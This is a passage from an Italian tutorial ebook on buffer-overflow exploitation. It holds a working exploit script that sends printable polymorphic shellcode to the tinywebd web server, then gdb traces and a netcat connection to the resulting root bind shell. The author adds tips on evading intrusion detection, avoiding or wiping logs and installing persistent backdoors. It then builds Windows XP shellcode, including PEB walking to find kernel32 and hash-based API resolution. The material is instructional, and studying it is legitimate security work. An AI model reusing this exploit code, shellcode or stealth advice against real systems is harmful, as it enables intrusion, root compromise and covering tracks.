"\x2d\x35\x6a\x44\x35\x2d\x25\x4c\x25\x25\x50\x2d\x50\x75\x75\x50"\

"\x2d\x34\x75\x75\x75\x2d\x25\x7a\x6f\x59\x50\x2d\x32\x33\x33\x33"\

"\x2d\x25\x68\x72\x4d\x50\x2d\x5f\x34\x2d\x34\x2d\x31\x30\x2d\x4b"\

"\x50\x2d\x4e\x4e\x7a\x36\x2d\x6c\x6c\x7a\x25\x2d\x75\x5f\x7a\x25"\

"\x50\x2d\x54\x36\x54\x32\x2d\x75\x25\x6f\x54\x2d\x78\x25\x73\x77"\

"\x50\x2d\x53\x53\x53\x35\x2d\x79\x53\x53\x25\x2d\x74\x59\x6b\x25"\

"\x50\x2d\x4a\x4a\x35\x31\x2d\x32\x37\x2d\x33\x50\x2d\x39\x39\x32"\

"\x39\x2d\x38\x7a\x25\x6e\x2d\x41\x73\x2d\x72\x50\x2d\x2d\x33\x33"\

"\x6d\x2d\x25\x25\x79\x7a\x2d\x25\x32\x73\x7a\x50\x2d\x76\x4a\x4a"\

"\x4a\x2d\x76\x4a\x4a\x5f\x2d\x6f\x38\x64\x76\x50\x2d\x66\x66\x66"\

"\x71\x2d\x35\x66\x50\x79\x2d\x25\x66\x51\x79\x50\x2d\x32\x32\x32"\

"\x32\x2d\x69\x32\x32\x32\x2d\x62\x25\x56\x38\x50\x2d\x59\x4e\x4e"\

"\x4e\x2d\x76\x7a\x6f\x4e\x2d\x74\x7a\x6d\x5a\x50\x2d\x47\x35\x47"\

"\x47\x2d\x37\x4c\x2d\x25\x50\x2d\x5a\x5a\x32\x5a\x2d\x6c\x5a\x2d"\

"\x5a\x2d\x72\x71\x25\x65\x50\x2d\x25\x4c\x37\x4c\x2d\x25\x76\x25"\

"\x64\x2d\x2d\x75\x33\x7a\x50\x2d\x5a\x36\x6d\x36\x2d\x70\x39\x30"\

"\x42\x50\x2d\x30\x30\x73\x30\x2d\x30\x46\x73\x46\x2d\x76\x69\x67"\

"\x46\x50\x2d\x79\x42\x42\x42\x2d\x62\x32\x42\x30\x2d\x72\x25\x37"\

"\x36\x50\x2d\x25\x5f\x7a\x7a\x2d\x25\x5f\x7a\x7a\x2d\x41\x56\x62"\

"\x62\x50\x2d\x68\x4c\x35\x4c\x2d\x79\x4c\x25\x68\x2d\x7a\x31\x37"\

"\x6d\x50\x2d\x52\x78\x2d\x2d\x2d\x2d\x61\x2d\x37\x50\x2d\x57\x64"\

"\x25\x64\x2d\x25\x61\x2d\x64\x2d\x34\x61\x32\x51\x50\x2d\x31\x31"\

"\x64\x31\x2d\x7a\x61\x64\x31\x2d\x75\x2d\x67\x4e\x50\x2d\x74\x49"\

"\x49\x49\x2d\x7a\x73\x30\x30\x2d\x7a\x5a\x36\x38\x50\x2d\x31\x31"\

"\x31\x31\x2d\x78\x31\x31\x78\x2d\x6f\x48\x4e\x76\x50\x2d\x71\x71"\

"\x71\x76\x2d\x71\x32\x76\x78\x2d\x5a\x25\x38\x79\x50\x2d\x56\x63"\

"\x63\x63\x2d\x25\x34\x63\x56\x2d\x2d\x25\x31\x4c\x50\x2d\x38\x52"\

"\x38\x52\x2d\x64\x6e\x50\x6e\x50\x2d\x49\x68\x34\x68\x2d\x25\x68"\

"\x25\x68\x2d\x33\x5f\x25\x57\x50\x2d\x31\x31\x31\x5f\x2d\x5f\x5f"\

"\x36\x78\x2d\x70\x6f\x39\x73\x50\x50\x50\x50\x50\x50\x50\x50\x50"\

"\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50\x50"\

"\x4a\x4a"

BUFFER = BUFFER + PAYLOAD

# RET 100 bytes

BUFFER = BUFFER + RET*(100/4)

# BUFFER TOTAL SIZE: 1092 bytes

print "Exploit with polymorfic shellcode, (all character are printable)"

print "for tinywebd deamon on Ubuntu"

print __author__

print __date__

print "Payload: (974 bytes)"

print PAYLOAD

Page 125: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 125 di 193

s.connect((RHOST, RPORT))

s.send(BUFFER)

print "Done!"

--------- exploit.py END ---------------------

Eseguiamo tinywebd e ci agganciamo con gdb, poi eseguiamo lo script e torniamo a vedere che

succede al server web.

Esecuzione di exploit.py:

Exploit with polymorfic shellcode, (all character are printable)

for tinywebd deamon on Ubuntu

Matteo Tosato

$8-ott-2010 02.30.22$

Payload: (974 bytes)

TX-JJJJ-sJJJ-tjkkP\%JONE%501:-Y4Yz-e%Yz-u%bwP-U1U1-u%m%-z6x6P%JONE%501:-z4kz-k%0z-

N%3KP%JONE%501:-LLLL-dLz--u5yEP-lrll--xll-7zf6P-cgE6-0g4%-%u%%P-tttt-5v4t-Vz0xP-vHvH-K%vH-%-83P-

It6I-It%_-tq%zP-VVVV-nVVV-uSBTP-hzhh-czhc-3zQ4P-NNNx-325oP-XXXX-nPPn-jedxP%JONE%501:-UaUU-5x5x-

5v5eP%JONE%501:-A4AZ-z%Ap-x%LuP-t%%%-j%%%-fB66P%JONE-g%%g-K%%g-%8-mP-__w_-__wH-B8hFP-Nq0--3Q4-P-

5bbB-%nn1-%vr9P-tttB-BBk%-BF4%P-9k9b-PUocP--f----f8--%v5KP-tY%%-wt-u-yqUzP-U0Ux-U%Bx-p%BoP-xUU%-

x%x--s8Y2P-6jD6-5jD5-%L%%P-PuuP-4uuu-%zoYP-2333-%hrMP-_4-4-10-KP-NNz6-llz%-u_z%P-T6T2-u%oT-

x%swP-SSS5-ySS%-tYk%P-JJ51-27-3P-9929-8z%n-As-rP--33m-%%yz-%2szP-vJJJ-vJJ_-o8dvP-fffq-5fPy-

%fQyP-2222-i222-b%V8P-YNNN-vzoN-tzmZP-G5GG-7L-%P-ZZ2Z-lZ-Z-rq%eP-%L7L-%v%d--u3zP-Z6m6-p90BP-

00s0-0FsF-vigFP-yBBB-b2B0-r%76P-%_zz-%_zz-AVbbP-hL5L-yL%h-z17mP-Rx----a-7P-Wd%d-%a-d-4a2QP-11d1-

zad1-u-gNP-tIII-zs00-zZ68P-1111-x11x-oHNvP-qqqv-q2vx-Z%8yP-Vccc-%4cV--%1LP-8R8R-dnPnP-Ih4h-%h%h-

3_%WP-111_-__6x-po9sPPPPPPPPPPPPPPPPPPPPPPPJJ

Done!

Vedete come la stringa risulta completamente stampabile?!

Qui sono fermo all'istruzione ret di handle_connection():

(gdb) stepi

0x080493ea in handle_connection (sockfd=0, client_addr_ptr=0x4a4a4a4a, logfd=1246382666) at

tinywebd.c:136

136 }

(gdb) x/16i $eip

=> 0x80493ea <handle_connection+861>: ret

0x80493eb <get_file_size>: push %ebp

[...]

proseguendo arriviamo nello sled dato che l'indirizzo di ritorno lo abbiamo sovrascritto con un

indirizzo che si trova presumibilmente poco dopo l'inizio del buffer request:

[...]

(gdb) stepi

0xbfffefaa in ?? ()

(gdb) x/25i $eip

=> 0xbfffefaa: dec %edx

0xbfffefab: dec %edx

0xbfffefac: dec %edx

0xbfffefad: dec %edx

0xbfffefae: dec %edx

0xbfffefaf: dec %edx

0xbfffefb0: dec %edx

Page 126: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 126 di 193

0xbfffefb1: dec %edx

0xbfffefb2: dec %edx

0xbfffefb3: dec %edx

0xbfffefb4: push %esp

0xbfffefb5: pop %eax

0xbfffefb6: sub $0x4a4a4a4a,%eax

0xbfffefbb: sub $0x4a4a4a73,%eax

0xbfffefc0: sub $0x6b6b6a74,%eax

[...]

come vedete lo sled è formato da istruzioni di decremento sul registro edx, poi il loader creerà

la shellcode, proseguiamo fino al suo termine:

[...]

(gdb) x/25i $eip

=> 0xbffff361: sub $0x78365f5f,%eax

0xbffff366: sub $0x73396f70,%eax

0xbffff36b: push %eax

0xbffff36c: push %eax

0xbffff36d: push %eax

0xbffff36e: push %eax

[...]

Viene creato il NOP sled e poi ci si va dentro... creare un buon NOP sled è sempre buona

pratica, perchè anche se ci si trova nello stesso tipo di sistema usato per il test non è detto

tutto sia uguale...

[...]

(gdb) x/25i $eip

=> 0xbffff379: nop

0xbffff37a: nop

0xbffff37b: nop

0xbffff37c: nop

0xbffff37d: nop

0xbffff37e: nop

0xbffff37f: nop

[...]

ed infine ci siamo:

[...]

(gdb) x/25i $eip

=> 0xbffff3a4: nop

0xbffff3a5: nop

0xbffff3a6: nop

0xbffff3a7: nop

0xbffff3a8: nop

0xbffff3a9: nop

0xbffff3aa: nop

0xbffff3ab: nop

0xbffff3ac: nop

0xbffff3ad: xor %ebx,%ebx

0xbffff3af: xor %eax,%eax

0xbffff3b1: mov $0x2,%al

0xbffff3b3: int $0x80

0xbffff3b5: cmp %eax,%ebx

0xbffff3b7: jne 0xbffff3f6

Page 127: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 127 di 193

[...]

Possiamo fa continuare il programma staccandoci dal processo, vedrete che il server web

continuerà a fornire il suo servizio, mentre, uno dei suoi figli, sta eseguendo la nostra

backdoor.

[...]

gdb) quit

A debugging session is active.

Inferior 1 [process 2445] will be detached.

Quit anyway? (y or n) y

Detaching from program: /root/tinywebd, process 2445

root@Moon:~# netstat -napt

Connessioni internet attive (server e stabiliti)

Proto Recv-Q Send-Q Indirizzo locale Indirizzo esterno Stato PID/Program name

tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 2472/tinywebd

tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 577/sshd

tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 966/cupsd

tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 842/inetd

tcp 0 0 0.0.0.0:43690 0.0.0.0:* LISTEN 2472/tinywebd

tcp 0 0 127.0.0.1:80 127.0.0.1:50092 CLOSE_WAIT 2472/tinywebd

tcp6 0 0 :::22 :::* LISTEN 577/sshd

tcp6 0 0 ::1:631 :::* LISTEN 966/cupsd

tcp6 0 0 ::1:38712 :::* LISTEN 2273/java

tcp6 0 0 :::445 :::* LISTEN 533/smbd

tcp6 0 0 :::139 :::* LISTEN 533/smbd

Questo tipo di exploit è particolarmente raffinato e riesce a bypassare la maggior parte dei

sistemi IDS.

Concludiamo mostrando come connettersi alla backdoor, facciamolo proprio da un'altro sistema:

root@HackLab:~# nc -vv 192.168.0.101 43690

192.168.0.101: inverse host lookup failed: Unknown server error : Connection timed out

(UNKNOWN) [192.168.0.101] 43690 (?) open

id

uid=0(root) gid=0(root) groups=0(root)

Bene che facciamo ora? Andiamo a vedere che cosa è stato registrato nei log,

cat /var/log/tinywebd.log

[...]

10/09/2010 12:45:51> Starting up..

10/09/2010 12:51:11> Starting up..

10/09/2010 12:53:07> Starting up..

10/09/2010 12:55:15> Starting up..

Ci sono richieste precedenti e la segnalazione di avvio del server, non c'è nulla che ci

riguarda. Questo perchè siamo andati a sovrascrivere anche il descrittore del file aperto. Se

non fossimo riusciti a farlo, potremmo benissimo pulire il log ora.

A questo punto potremmo ad esempio caricarci un programma ad hoc ed impostarlo come servizio, in

modo che anche dopo un riavvio questo ci permetta di raggiungere il sistema, insomma possiamo

disporre della macchina come vogliamo. Ho dimostrato come prendere il controllo di un web server

vulnerabile, bypassando firewall, sistemi anti-intrusione e senza lasciare tracce.

0x15] (Arch: NT) - Windows e il “dll hell”

Page 128: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 128 di 193

Up

L’arduo compito che ci spetta è quello di spostarci in ambiente Microsoft Windows per applicare

tutte le conoscenze che abbiamo accumulato fino a questo punto. Fortunatamente, non si tratterà

di ricominciare da zero. I meccanismi che rendono un sistema vulnerabile possono essere presi

universalmente per tutte le architetture. Ciò che cambia, quando ci spostiamo da una

architettura ad un'altra, è il modo con il quale il codice di attacco deve essere composto, le

convenzioni di chiamata e le funzioni stesse utilizzate. L’organizzazione della memoria nei

sistemi operativi rimane grossomodo la stessa limitandosi ad alcune leggere differenze.

Io ho intenzionalmente iniziato da Linux, perché questo offre una possibilità di apprendimento

più elevata rispetto Windows, su Linux non abbiamo a disposizione gli automatismi che si possono

trovare su windows, per questo siamo stati costretti a scendere nel dettaglio su molte

questioni. Così facendo siamo arrivati a sapere con esattezza quello che accade a basso livello

durante un attacco o al verificarsi di una vulnerabilità nel codice, e sappiamo come realizzare

script di attacco in modo completamente manuale.

Su windows esistono più possibilità di automatizzare queste operazioni, ed in più tutto può

essere fatto con programmi muniti di interfaccia utente grafica.

In più, Windows presenta caratteristiche di progettazione interna che lo mette in condizioni di

essere più vulnerabile rispetto ad un sistema come Linux.

Una delle caratteristiche più interessanti dal nostro punto di vista è il “Microsoft DLL

system”. Questo è uno dei punti cruciali che vedremo.

Da questo sistema, derivano varie serie di vulnerabilità oltre quelle legate ai buffer, e per la

sua caratteristica progettuale di lavoro, le dll (Dynamic-link library) sono oggetti che useremo

molto durante la scrittura delle shellcode.

Prima di cominciare ricordo che è bene affrontare in modo approfondito l’architettura di NT, il

formato del PE e il sistema dll. Trovate anche miei documenti al riguardo (su Dll injection e

windows PE) sotto le relative sezioni.

In questa parte darò anche per assunto certe questioni, che dovrebbero essere state acquisite in

modo più che soddisfacente nei capitoli precedenti. Quindi concedetemi da adesso in poi, di

diminuire il livello di dettaglio.

Dunque, vediamo subito di indagare con l’aiuto di strumenti per il debugging, le sostanziali

differenze con il precedente ambiente, cominciamo da un semplice programma che effettua una

chiamata ad un’API (Application programming interface).

Ci troviamo in ambiente Windows XP SP3, non abbiamo perciò a che fare con gli ultimi sistemi di

sicurezza, dopo ce ne preoccuperemo. Il codice in questione si preoccupa di visualizzare una

finestra di messaggio;

#include <windows.h>

int main(int argc, char** argv)

{

MessageBox(NULL,

"Hello Hacker!",

"Message",

MB_OK);

}

Compiliamo e partiamo con immunity debugger. Questo ci inserisce i commenti relativi alla

chiamata dell’API,

Page 129: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 129 di 193

Quindi possiamo velocemente capire come è composta la convenzione di chiamata per MessageBoxA.

Oltre a questo ci viene segnalato anche che tale API si trova nel modulo “user32.dll”, questo lo

possiamo capire da: “<JMP.&USER32.MessageBoxA>”.

Per capire meglio, sempre nel debugger apriamo la finestra “Exutable modules”,

Vediamo che assieme al nostro eseguibile principale, che per me è “MessageBoxA.exe”, sono stati

caricati altri moduli. E’ il compilatore che si è preso la briga di inserire le informazioni su

quali moduli caricare dentro l’eseguibile, allora, quando il loader di windows caricherà un

programma per l’esecuzione, leggerà nel suo PE le informazioni necessarie e caricherà i suddetti

moduli. Dalla videata capiamo che i file di cui MessageBoxA.exe ha bisogno sono: CRTDLL.dll,

IMM.dll, RPCRT4.dll, GDI32.dll, Secur32.dll, ADVAPI32.dll, kernel32.dll, ntdll.dll e USER32.dll.

Tutti questi contengono codice eseguibile e ognuno, ha ulteriori dipendenze con altri moduli

ancora. Quelli che si vedono in questo caso sono tutti moduli del sistema operativo.

Un’altra videata interessante che mostra ulteriori dettagli riguardo il programma principale e i

moduli è “memory map”.

In questa occasione, ciò che ci interessa è la videata CPU, la principale, e il codice assembly

che il compialtore ha prodotto.

Seguendo questa falsariga, scriviamo l’equivalente assembly per il programma, al fine di

ottenere successivamente una shellcode di test.

Windows carica le dll sempre allo stesso indirizzo, fino alla versione 6.0 di NT, tali indirizzi

non cambiano. Da questa in poi sono state aggiunte funzionalità per la sicurezza come l’ASLR che

caricano le dll ad indirizzi casuali, proprio per evitare che sia possibile eseguire chiamate

API utilizzando i loro indirizzi assoluti.

Noi dobbiamo fare proprio questo; sempre all’interno del debugger seguiamo l’istruzione JMP per

trovare l’indirizzo virtuale di MessageBoxA nel modulo USER32.dll,

poi,

L’indirizzo 0x7E3D07EA, è relativo a MessageBoxA.

Un’alternativa decisamente più pratica è utilizzare il semplice programma “arwin”. Il sorgente

Page 130: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 130 di 193

arwin.c:

--------- arwin.c ------------------------

#include <windows.h>

#include <stdio.h>

/***************************************

arwin - win32 address resolution program

by steve hanna v.01

vividmachines.com

[email protected]

you are free to modify this code

but please attribute me if you

change the code. bugfixes & additions

are welcome please email me!

to compile:

you will need a win32 compiler with

the win32 SDK

this program finds the absolute address

of a function in a specified DLL.

happy shellcoding!

***************************************/

int main(int argc, char** argv)

{

HMODULE hmod_libname;

FARPROC fprc_func;

printf("arwin - win32 address resolution program - by steve hanna - v.01\n");

if(argc < 3)

{

printf("%s <Library Name> <Function Name>\n",argv[0]);

exit(-1);

}

hmod_libname = LoadLibrary(argv[1]);

if(hmod_libname == NULL)

{

printf("Error: could not load library!\n");

exit(-1);

}

fprc_func = GetProcAddress(hmod_libname,argv[2]);

if(fprc_func == NULL)

{

printf("Error: could find the function in the library!\n");

exit(-1);

}

printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);

}

--------- arwin.c END ------------------------

Per ora non ci preoccuperemo di caricare la dll a runtime, ci penserà già il compilatore a

Page 131: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 131 di 193

farlo, dato che dovremo basarci poi su un progetto C per il test.

Il seguente è il listato assembly per nasm già ottimizzato senza byte nulli:

--------- MessageBoxCode.asm ------------------------

[section .text]

[BITS 32]

global _start

_start:

jmp short GetCaption ; Get caption

CaptionReturn:

pop ebx ; Put caption address in EBX

jmp short GetText ; Get text

TextReturn:

pop ecx ; Put text address in ECX

xor eax, eax ; Set EAX to 0

mov [ebx+0x07], al ; Set terminator character for caption

mov [ecx+0x0d], al ; Set terminator character for text

push eax ; Push null byte [Btn Type = MB_OK]

push ebx ; Push caption addr [title]

push ecx ; Push text addr [text]

push eax ; Push null byte [owner]

mov esi, 0x7e3d07ea ; Move address of MessageBoxA in ESI

call esi ; Jump to MessageBoxA

xor eax, eax ; Set EAX to 0

push eax ; Push exit value

mov eax, 0x7c81cb12 ; Move address od ExitProcess in EAX

call eax ; Jump to ExitProcess

GetCaption:

call CaptionReturn ; Caption

db "MessageX"

GetText:

call TextReturn ; Text

db "Hello hacker!X"

--------- MessageBoxCode.asm END ------------------------

La tecnica utilizzata per ricavare l’indirizzo delle stringhe per titolo e testo già la

conoscete.

Per ottenere gli opcode,

C:\env>nasm MessageBoxCode.asm -o MsgBoxCode.bin

Poi

C:\env>ndisasm MsgBoxCode.bin

00000000 EB21 jmp short 0x23

00000002 5B pop bx

00000003 EB2B jmp short 0x30

00000005 59 pop cx

00000006 31C0 xor ax,ax

00000008 884307 mov [bp+di+0x7],al

Page 132: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 132 di 193

0000000B 88410D mov [bx+di+0xd],al

0000000E 50 push ax

0000000F 53 push bx

00000010 51 push cx

00000011 50 push ax

00000012 BEEA07 mov si,0x7ea

00000015 3D7EFF cmp ax,0xff7e

00000018 D6 salc

00000019 31C0 xor ax,ax

0000001B 50 push ax

0000001C B812CB mov ax,0xcb12

0000001F 817CFFD0E8 cmp word [si-0x1],0xe8d0

00000024 DA db 0xda

00000025 FF db 0xff

00000026 FF db 0xff

00000027 FF4D65 dec word [di+0x65]

0000002A 7373 jnc 0x9f

0000002C 61 popaw

0000002D 676558 gs a32 pop ax

00000030 E8D0FF call word 0x3

00000033 FF db 0xff

00000034 FF4865 dec word [bx+si+0x65]

00000037 6C insb

00000038 6C insb

00000039 6F outsw

0000003A 206861 and [bx+si+0x61],ch

0000003D 636B65 arpl [bp+di+0x65],bp

00000040 7221 jc 0x63

00000042 58 pop ax

Quindi,

--------- test.c ------------------------

char code[]=

"\xeb\x21\x5b\xeb\x2b\x59\x31\xc0"

"\x88\x43\x07\x88\x41\x0d\x50\x53"

"\x51\x50\xbe\xea\x07\x3d\x7e\xff"

"\xd6\x31\xc0\x50\xb8\x12\xcb\x81"

"\x7c\xff\xd0\xe8\xda\xff\xff\xff"

"\x4d\x65\x73\x73\x61\x67\x65\x58"

"\xe8\xd0\xff\xff\xff\x48\x65\x6c"

"\x6c\x6f\x20\x68\x61\x63\x6b\x65"

"\x72\x21\x58";

int main(int argc, char **argv)

{

int (*func)();

func = (int (*)()) code;

(int)(*func)();

}

--------- test.c END ------------------------

All’esecuzione avremo:

Page 133: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 133 di 193

Ritornando al discorso fatto sulle dll, diciamo che la shellcode appena vista funzionerà solo se

USER32.dll è mappata in memoria, molte volte non è così, se il programma in cui iniettiamo la

shellcode non necessita della dll in questione il nostro codice non funzionerà.

Inoltre non abbiamo pensato al problema della portabilità, su sistemi operativi windows

differenti, gli indirizzi dove le dll vengono caricate sono diversi per versioni di os.

Dobbiamo produrre codice più indipendente rispetto quello appena visto, esso dovrà preoccuparsi

di caricare le dll di cui ha bisogno.

Riguardando il sorgente arwin.c, capiamo che utilizzando la libreria kernel32.dll e le sue API

LoadLibraryA() e GetProcAddress() possiamo caricarci in memoria qualsiasi modulo che vogliamo e

utilizzare una delle funzioni che essi esportano. Kernel32.dll è una delle più importanti dll di

sistema e come tale, è mappata in tutti i processi, il problema è trovare il suo indirizzo base

a runtime tenendo presente che questo può essere differente da sistema a sistema.

Il documento datato giugno 2003 di “skape” illustra una serie di metodologie in grado di trovare

a seconda del sistema operativo in uso, l’indirizzo di kernel32.dll. Questo può essere fatto

perché in ogni processo, esiste una struttura detta “PEB” (Process environment block) che

contiene informazioni riguardo il processo stesso. Kernel32.dll è sempre presente in questo

elenco come seconda posizione nella lista “InInitializationOrderModuleList”, eccetto per windows

7, per quest’ultimo la tecnica da utilizzare è un’altra.

Ma stando per ora a Win XP dovremo rifarci a questa pratica più antiquata. La suddetta struttura

si trova, sempre, dentro ogni processo all’indirizzo virtuale fs:[0x30].

Una struttura simile è mantenuta anche nello spazio di indirizzi del kernel, chiamata “PCB”

(Kernel process block), ora ci occorre sapere di più della prima; la struttura PEB. Si guardi

anche la struttura ‘TEB’, questa ci interesserà in futuro.

La struttura PEB è composta dai campi seguenti, schematizzati a blocchi:

Image base address

Module list

Thread-local storage data

Code page data

Critical section timeout

Number of heaps

Heap size information

Process heap

GDI shared handle table

Operating system version number information

Image version information

Image process affinity mask

Più nel dettaglio;

typedef struct _PEB {

BOOLEAN InheritedAddressSpace;

BOOLEAN ReadImageFileExecOptions;

BOOLEAN BeingDebugged;

BOOLEAN Spare;

HANDLE Mutant;

PVOID ImageBaseAddress;

Page 134: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 134 di 193

PPEB_LDR_DATA LoaderData;

PRTL_USER_PROCESS_PARAMETERS ProcessParameters;

PVOID SubSystemData;

PVOID ProcessHeap;

PVOID FastPebLock;

PPEBLOCKROUTINE FastPebLockRoutine;

PPEBLOCKROUTINE FastPebUnlockRoutine;

ULONG EnvironmentUpdateCount;

PPVOID KernelCallbackTable;

PVOID EventLogSection;

PVOID EventLog;

PPEB_FREE_BLOCK FreeList;

ULONG TlsExpansionCounter;

PVOID TlsBitmap;

ULONG TlsBitmapBits[0x2];

PVOID ReadOnlySharedMemoryBase;

PVOID ReadOnlySharedMemoryHeap;

PPVOID ReadOnlyStaticServerData;

PVOID AnsiCodePageData;

PVOID OemCodePageData;

PVOID UnicodeCaseTableData;

ULONG NumberOfProcessors;

ULONG NtGlobalFlag;

BYTE Spare2[0x4];

LARGE_INTEGER CriticalSectionTimeout;

ULONG HeapSegmentReserve;

ULONG HeapSegmentCommit;

ULONG HeapDeCommitTotalFreeThreshold;

ULONG HeapDeCommitFreeBlockThreshold;

ULONG NumberOfHeaps;

ULONG MaximumNumberOfHeaps;

PPVOID *ProcessHeaps;

PVOID GdiSharedHandleTable;

PVOID ProcessStarterHelper;

PVOID GdiDCAttributeList;

PVOID LoaderLock;

ULONG OSMajorVersion;

ULONG OSMinorVersion;

ULONG OSBuildNumber;

ULONG OSPlatformId;

ULONG ImageSubSystem;

ULONG ImageSubSystemMajorVersion;

ULONG ImageSubSystemMinorVersion;

ULONG GdiHandleBuffer[0x22];

ULONG PostProcessInitRoutine;

ULONG TlsExpansionBitmap;

BYTE TlsExpansionBitmapBits[0x80];

ULONG SessionId;

} PEB, *PPEB;

In particolar modo ci interessa la sotto-struttura seguente:

typedef struct _PEB_LDR_DATA {

ULONG Length;

BOOLEAN Initialized;

PVOID SsHandle;

Page 135: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 135 di 193

LIST_ENTRY InLoadOrderModuleList;

LIST_ENTRY InMemoryOrderModuleList;

LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;

Per windows NT, il codice ideato è il seguente: [From skape, ‘NoLogin – Understanding windows

shellcode paper’]

push esi

xor eax, eax

mov eax, [fs:eax+0x30]

mov eax, [eax + 0x0c]

mov esi, [eax + 0x1c]

lodsd

mov eax, [eax + 0x8]

pop esi

ret

Una versione più estesa che include anche windows 95 e 98 è invece questa:

find_kernel32:

push esi

xor eax, eax

mov eax, [fs:eax+0x30]

test eax, eax

js find_kernel32_9x

find_kernel32_nt:

mov eax, [eax + 0x0c]

mov esi, [eax + 0x1c]

lodsd

mov eax, [eax + 0x8]

jmp find_kernel32_finished

find_kernel32_9x:

mov eax, [eax + 0x34]

lea eax, [eax + 0x7c]

mov eax, [eax + 0x3c]

find_kernel32_finished:

pop esi

ret

Alla fine dell’esecuzione di questo codice, l’indirizzo di kernel32.dll si troverà in EAX.

Su Windows 7 kernel32.dll non si trova nella seconda entry ma nella terza, il codice può essere

perciò modificato e reso compatibile per tutte le versioni, da windows 2000 a windows 7, questa

modifica è stata apportata dal gruppo “harmonysecurity.com”

[BITS 32]

push esi

xor eax, eax ; clear eax

xor ebx, ebx ; clear ebx

mov bl,0x30 ; set ebx to 0x30

mov eax, [fs: ebx ] ; get a pointer to the PEB (no null bytes)

mov eax, [ eax + 0x0C ] ; get PEB->Ldr

mov eax, [ eax + 0x14 ] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)

push eax

pop esi

Page 136: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 136 di 193

mov eax, [ esi ] ; get the next entry (2nd entry)

push eax

pop esi

mov eax, [ esi ] ; get the next entry (3rd entry)

mov eax, [ eax + 0x10 ] ; get the 3rd entries base address (kernel32.dll)

pop esi

Una volta che abbiamo l’indirizzo base di kernel32.dll dobbiamo ricavare gli indirizzi delle due

funzioni, LoadLibraryA e GetProcAddress, il problema è che per farlo, dovremmo usare

GetProcAddress ...

E’ stato quindi pensato un modo alternativo, purtroppo non è un sistema pratico e semplice,

occorre utilizzare l’export directory della dll kernel32 per trovare il simbolo di

GetProcAddress e poi risolverlo. La export directory è una tabella che contiene il numero del

simbolo (l’ordinal) e l’indirizzo relativo (RVA) della funzione. Al fine di risolvere questo

simbolo dobbiamo percorrere tutta la tabella alla ricerca di quello relativo a GetProcAddress.

Dato che confrontare l’intera stringa del nome della funzione rende molto più lungo il codice,

si preferisce nella maggior parte dei casi, utilizzare gli hash. Questo hash (valore) si calcola

nel seguente modo:

- Occorre l’indice del simbolo in relazione alla matrice degli ordinal

- Questo indice viene usato assieme all’array di funzioni per produrre l’indirizzo virtuale

relativo al simbolo.

- Si aggiunge l’indirizzo base della dll a questo RVA, ottenendo un VMA, (indirizzo di

memoria virtuale) della funzione.

Il listato seguente mostra come trovare l’indirizzo desiderato partendo da un hash, il codice

per trovare l’hash lo vediamo tra un attimo,

find_function:

pushad ;save all registers

mov ebp, [esp+0x24] ;put base address of module that is being

;loaded in ebp

mov eax, [ebp+0x3c] ;skip over MSDOS header

mov edx, [ebp+eax+0x78] ;go to export table and put relative address

;in edx

add edx, ebp ;add base address to it.

;edx = absolute address of export table

mov ecx, [edx+0x18] ;set up counter ECX

;(how many exported items are in array ?)

mov ebx, [edx+0x20] ;put names table relative offset in ebx

add ebx, ebp ;add base address to it.

;ebx = absolute address of names table

find_function_loop:

jecxz find_function_finished ;if ecx=0, then last symbol has been checked.

;(should never happen)

;unless function could not be found

dec ecx ;ecx=ecx-1

mov esi, [ebx+ecx*4] ;get relative offset of the name associated

;with the current symbol

;and store offset in esi

add esi, ebp ;add base address.

;esi = absolute address of current symbol

compute_hash:

xor edi, edi ;zero out edi

xor eax, eax ;zero out eax

cld ;clear direction flag.

;will make sure that it increments instead of

;decrements when using lods*

Page 137: System exploitation using buffer overflow

System exploitation using buffer overflow

Copyright © Matteo Tosato 2010-2011 [email protected] rev.2.2 Pag. 137 di 193

compute_hash_again:

lodsb ;load bytes at esi (current symbol name)

;into al, + increment esi

test al, al ;bitwise test :

;see if end of string has been reached

jz compute_hash_finished ;if zero flag is set = end of string reached

ror edi, 0xd ;if zero flag is not set, rotate current

;value of hash 13 bits to the right

add edi, eax ;add current character of symbol name

;to hash accumulator

jmp compute_hash_again ;continue loop

compute_hash_finished:

find_function_compare:

cmp edi, [esp+0x28] ;see if computed hash matches requested hash (at esp+0x28)

jnz find_function_loop ;no match, go to next symbol

mov ebx, [edx+0x24] ;if match : extract ordinals table

;relative offset and put in ebx

add ebx, ebp ;add base address.

;ebx = absolute address of ordinals address table

mov cx, [ebx+2*ecx] ;get current symbol ordinal number (2 bytes)

mov ebx, [edx+0x1c] ;get address table relative and put in ebx

add ebx, ebp ;add base address.

